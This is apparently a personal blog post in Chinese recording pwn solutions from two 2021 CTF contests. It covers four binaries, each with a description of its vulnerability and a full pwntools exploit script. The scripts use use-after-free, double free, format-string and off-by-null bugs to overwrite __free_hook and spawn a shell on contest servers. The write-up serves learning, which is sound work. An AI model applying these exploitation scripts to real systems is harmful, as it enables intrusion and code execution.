近期比赛记录
LOLOLO Lv3

先是成都学院的一个比赛

classromm

2021四川省省赛原题

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

也算是经典菜单题吧

add

edit

free

存在的漏洞

  1. 存在UAF
  2. 能够double
  3. strcpy的\x00截断导致栈溢出(虽然这题没什么用)

解题思路

首先GDB调试的时候发现它一开始申请了一个0x11c00的堆块,通过UAF和double使得我们申请到该堆块,然后释放,可以获得unsorted bin,再次申请相同序号的该堆块就能够泄露libc地址。泄露libc后再次利用double和UAF将free_hook链到tcache上面去,最后申请到free_hook,填入system的地址,最后释放一个写有/bin/sh的堆块获得shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from rpyc import lib
context(log_level='debug',os='linux',arch='amd64')

#p = process('./classroom')
p = remote('125.71.5.44',50015)
elf =ELF('./classroom')
libc =ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset =libc.sym['__malloc_hook']+0x10

def cmd(choice):
p.sendlineafter(">",str(choice))


def add(idx,name):
cmd(1)
p.sendlineafter(">",str(idx))
p.sendlineafter(">",name)


def edit(idx,name):
cmd(3)
p.sendlineafter(">",str(idx))
p.sendlineafter(">",name)


def free(idx):
cmd(2)
p.sendlineafter(">",str(idx))

add(0,'a'*0x8)
add(1,'b'*8)
add(3,'c'*8)
free(0)
edit(0,'a'*8)
free(0)
p.recvuntil(">")
p.sendline("1")
p.recvuntil(">")
p.sendline("0")
p.recvuntil("Welcome my student :")
heap_base =u64(p.recvline(keepends=False).ljust(8,b'\x00'))-0x11c20+0x10
print (hex(heap_base))
edit(0,p64(heap_base))
add(4,'/bin/sh\x00')
add(5,'b')
free(5)

p.recvuntil(">")
p.sendline("1")
p.recvuntil(">")
p.sendline("5")
p.recvuntil("Welcome my student :")
base=u64(p.recvline(keepends=False).ljust(8,b'\x00'))-96-offset
print (hex(base))
sys = base+libc.sym['system']
free_hook = base +libc.sym['__free_hook']
free(1)
free(3)
edit(3,p64(free_hook))
add(6,'a'*8)
add(7,p64(sys))
free(4)
# gdb.attach(p)
p.interactive()

深育杯

太菜了,offbynull的利用掌握不熟练;C语言学的太差了;

find_flag(格式化字符串泄露程序基地址)

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

解题方法

这题给了后门函数,但是保护全开,题目附件没有给libc;一开始是打算泄露__libc_start_main地址获得libc,然后直接填返回地址为one_gadget;后面发现打远程的时候地址不对,所以就改变思路,泄露程序的地址,通过计算获取程序的基地址;最后填后面函数到返回地址获取shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from re import S
from elftools.construct.adapters import OneOf
from pwn import *
from pwnlib.adb.adb import fastboot
context(log_level='debug',os='linux',arch='amd64')

p = process('./1')
#p = remote('192.168.38.215',2001)
libc =ELF("/lib/x86_64-linux-gnu/libc.so.6")
start = libc.sym["__libc_start_main"]
# 0x7fdfd8a740b3
# 0x7f61eac3f6a0
rdi =0x14e3
one =[0xe6c7e,0xe6c81,0xe6c84]
# one = [0x45226,0x4527a,0xf03a4,0xf1247]
# one =[0x4f3d5,0x4f432,0x10a41c]
p.recvuntil(b"name? ")
# gdb.attach(p)
# pause()
p.sendline("%17$p"+"%15$p")
p.recvuntil(b"Nice to meet you, ")

# # # print (hex(canary))
canary =int(p.recv(18),16)
base = int(p.recvuntil("!",drop=True),16) -0x1140
print (hex(base))
back = 0x1228 +base
# # sys = base +libc.sym['system']

# # sh =base +next(libc.search(b"/bin/sh"))
# one =base +one[0]
# # rdi =base +0x000000000000021112
# p.recvuntil("Anything else? ")
payload = b'a'*0x38+p64(canary)+b'a'*8+p64(back)
p.sendline(payload)
# # sleep(2)
p.interactive()

Creatcode

libc-2.31.so

1
2
3
4
5
6
7
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

add

show

del

程序在add的时候,默认分配0x330的大小,但是可以写入0x3E8的大小,存在堆溢出;并且在申请堆块的时候,将堆块的前4个字节写入了0x4;在调用程序的show函数的时候,输出的大小就是0x4,同时从0x8的位置开始输出。另外就是free的时候,假如存在0,1,2,3,4四个堆块,如果从后面释放的话,不会有什么变化,如果从堆块0开始,0被删除后,后面的堆块都会依次向前面移0x8个字节;程序只有堆溢出的漏洞

解题思路

先是泄露libc地址,我先申请了9个堆块,然后用特定的顺序释放掉;目的是为了,假如有三个堆块0,1,2,且2是unsorted bin,里面含有libc的地址,我们需要先申请堆块1,再申请堆块0,通过堆块0的堆溢出改写堆块1的前四个字节0x4变为0x700,然后show()堆块1,这样就会连同2的内容一起泄露;泄露libc后,利用同样的手法,改写tcache的fd为free_hook,申请到free_hook填入system,然后释放写入了/bin/sh的堆块;这里还有个坑就是,在释放含有/bin/sh的堆块的时候,因为前0x4字节被写入了0x4,所以我们还需要利用上面的手法再次改写0x4为/bin/sh,这样才能成功获取shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context(log_level='debug',os='linux',arch='amd64')

p = process('./1')
# p= remote('192.168.38.215',2007)
elf =ELF('./1')

libc =ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset =libc.sym['__malloc_hook']+0x10
one =[0xe6c7e,0xe6c81,0xe6c84]


def cmd(choice):
p.sendlineafter("> ",str(choice))


def add(content):
cmd(1)
p.sendafter("content: ",content)


def show(idx):
cmd(2)
p.sendlineafter("id: ",str(idx))

def free(idx):
cmd(3)
p.sendlineafter("id: ",str(idx))


# add('a'*8)
# add('b'*8)
# add('d'*8)
# add('e'*8)
# free(3)
# free(2)
# free(0)
# free(0)
# add('m'*4)
# add(b'a'*0x328+p64(0x331)+p64(0x700))
# show(0)
# p.recvuntil("\x00"*0x319)
# p.recv(19)
# heap_base = u64(p.recv(7).ljust(8,b'\x00')) -0xc30+0x10
# print (hex(heap_base))
# free(0)
# add(b'a'*0x320+p64(0)+p64(0x331)+p64(heap_base))
# add('a'*8)
# add(b'a'*96+p64(0x0000000000070000))


for i in range(9):
add('a'*8)

free(4)
free(3)
free(2)
free(1)
free(0)
free(0)
free(0)
free(0)
add('b'*8)
add(b'a'*0x328+p64(0x331)+p64(0x700))
show(1)
p.recvuntil('\x00'*0x320)
p.recv(12)
base = u64(p.recv(7).ljust(8,b'\x00'))-96-offset
sys =base +libc.sym["system"]
free_hook = base + libc.sym['__free_hook']
malloc=base + libc.sym['__malloc_hook']
print (hex(base))


for i in range(5):
add('a')

# free(3)
# free(3)
free(6)
free(5)
free(3)
free(3)
add(b'a'*0x320+p64(0)+p64(0x331)+p64(free_hook-0x10))
add(b"a"*0x320+p64(0)+p64(0x331)+b"/bin/sh\x00")
add("a"*8)
add(b"a"*0x10+p64(sys))
free(4)
# gdb.attach(p)

p.interactive()


getshell

本地同远程2.31.so

writebook

就一个简简单单的offbynull的最基本的利用,特喵的没写出来是真的菜!!!

offbynull达成overlaping,假如存在3个堆块,1(0x120)、2(0x70)、3(0x100),其中1被释放,而且1因为tcache bin被放慢了,所以1是unsorted bin,所以2的prev_size会被写入1的大小,然后编辑堆块2

向堆块3的prev_size写入堆块2的大小,同时利用offbynull将堆块3的inuse改写为0,最后释放堆块3;这样就可以获得一个大堆块。

然后申请一个0x130的堆块切割unsorted bin,这样0x130的堆块中会残留main_arena的地址,来泄露libc;然后释放0x70的堆块,因为0x70被放进了0x130里面,所以当0x70被释放后,我们通过编辑0x130堆块的内容来覆盖0x70堆块的fd指针为free_hook

如果存在UAF就更加简单了!

直接上exp了,题目没什么特别,就是一个offbynull,然后堆块的大小有两种;一种是小于等于0xF0的,一种是小于等于0x1E0的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
import sys
context.log_level='debug'
debug = 1
file_name = './writebook'
libc = ELF( './libc.so.6')
if debug:
r = process(file_name)
else:
r = remote('192.168.41.232',2002)

file = ELF(file_name)

def add(chunk_size):
r.recvuntil('> ')
r.sendline('1')
r.recvuntil("both sides?\n")
r.sendline("1")
r.recvuntil('size: ')
r.sendline(str(chunk_size))
def add2(chunk_size):
r.recvuntil('> ')
r.sendline('1')
r.recvuntil("both sides?\n")
r.sendline("2")
r.recvuntil('size: ')
r.sendline(str(chunk_size))
def delete(index):
r.recvuntil('> ')
r.sendline('4')
r.recvuntil('Page: ')
r.sendline(str(index))
def show(index):
r.recvuntil('> ')
r.sendline('3')
r.recvuntil('Page: ')
r.sendline(str(index))
def edit(index,value):
r.recvuntil('>')
r.sendline('2')
r.recvuntil('Page: ')
r.sendline(str(index))
r.recvuntil('Content: ')
r.sendline(value)
def debug():
gdb.attach(r)
raw_input()

for x in range(7):
add(0xf0) #0-6

for x in range(8):
add2(0x110) #7-14


add(0x68) #15
for x in range(3):
add(0xf0)

for x in range(15): #free 0-14
delete(x)



edit(15,b"\x00"*0x10+b"a"*0x50+p64(0x190)) #offbynull
delete(16)
add2(0x130)
show(0)
r.recvuntil("Content: ")
libc_base = u64(r.recv(6)+b"\x00\x00")-0x3ebf20
print (hex(libc_base))
one_gg = 0x4f365 + libc_base
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
delete(15)
edit(0,b"/bin/sh\x00"+b"\x00"*0x118+p64(free_hook))
add(0x68) #1
add(0x68) #2
edit(2,p64(system))
gdb.attach(r)
delete(0)
r.interactive()
  • 本文标题:近期比赛记录
  • 本文作者:LOLOLO
  • 创建时间:2021-11-14 10:44:17
  • 本文链接:https://lololo-pwn.github.io/2021/11/14/近期比赛/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论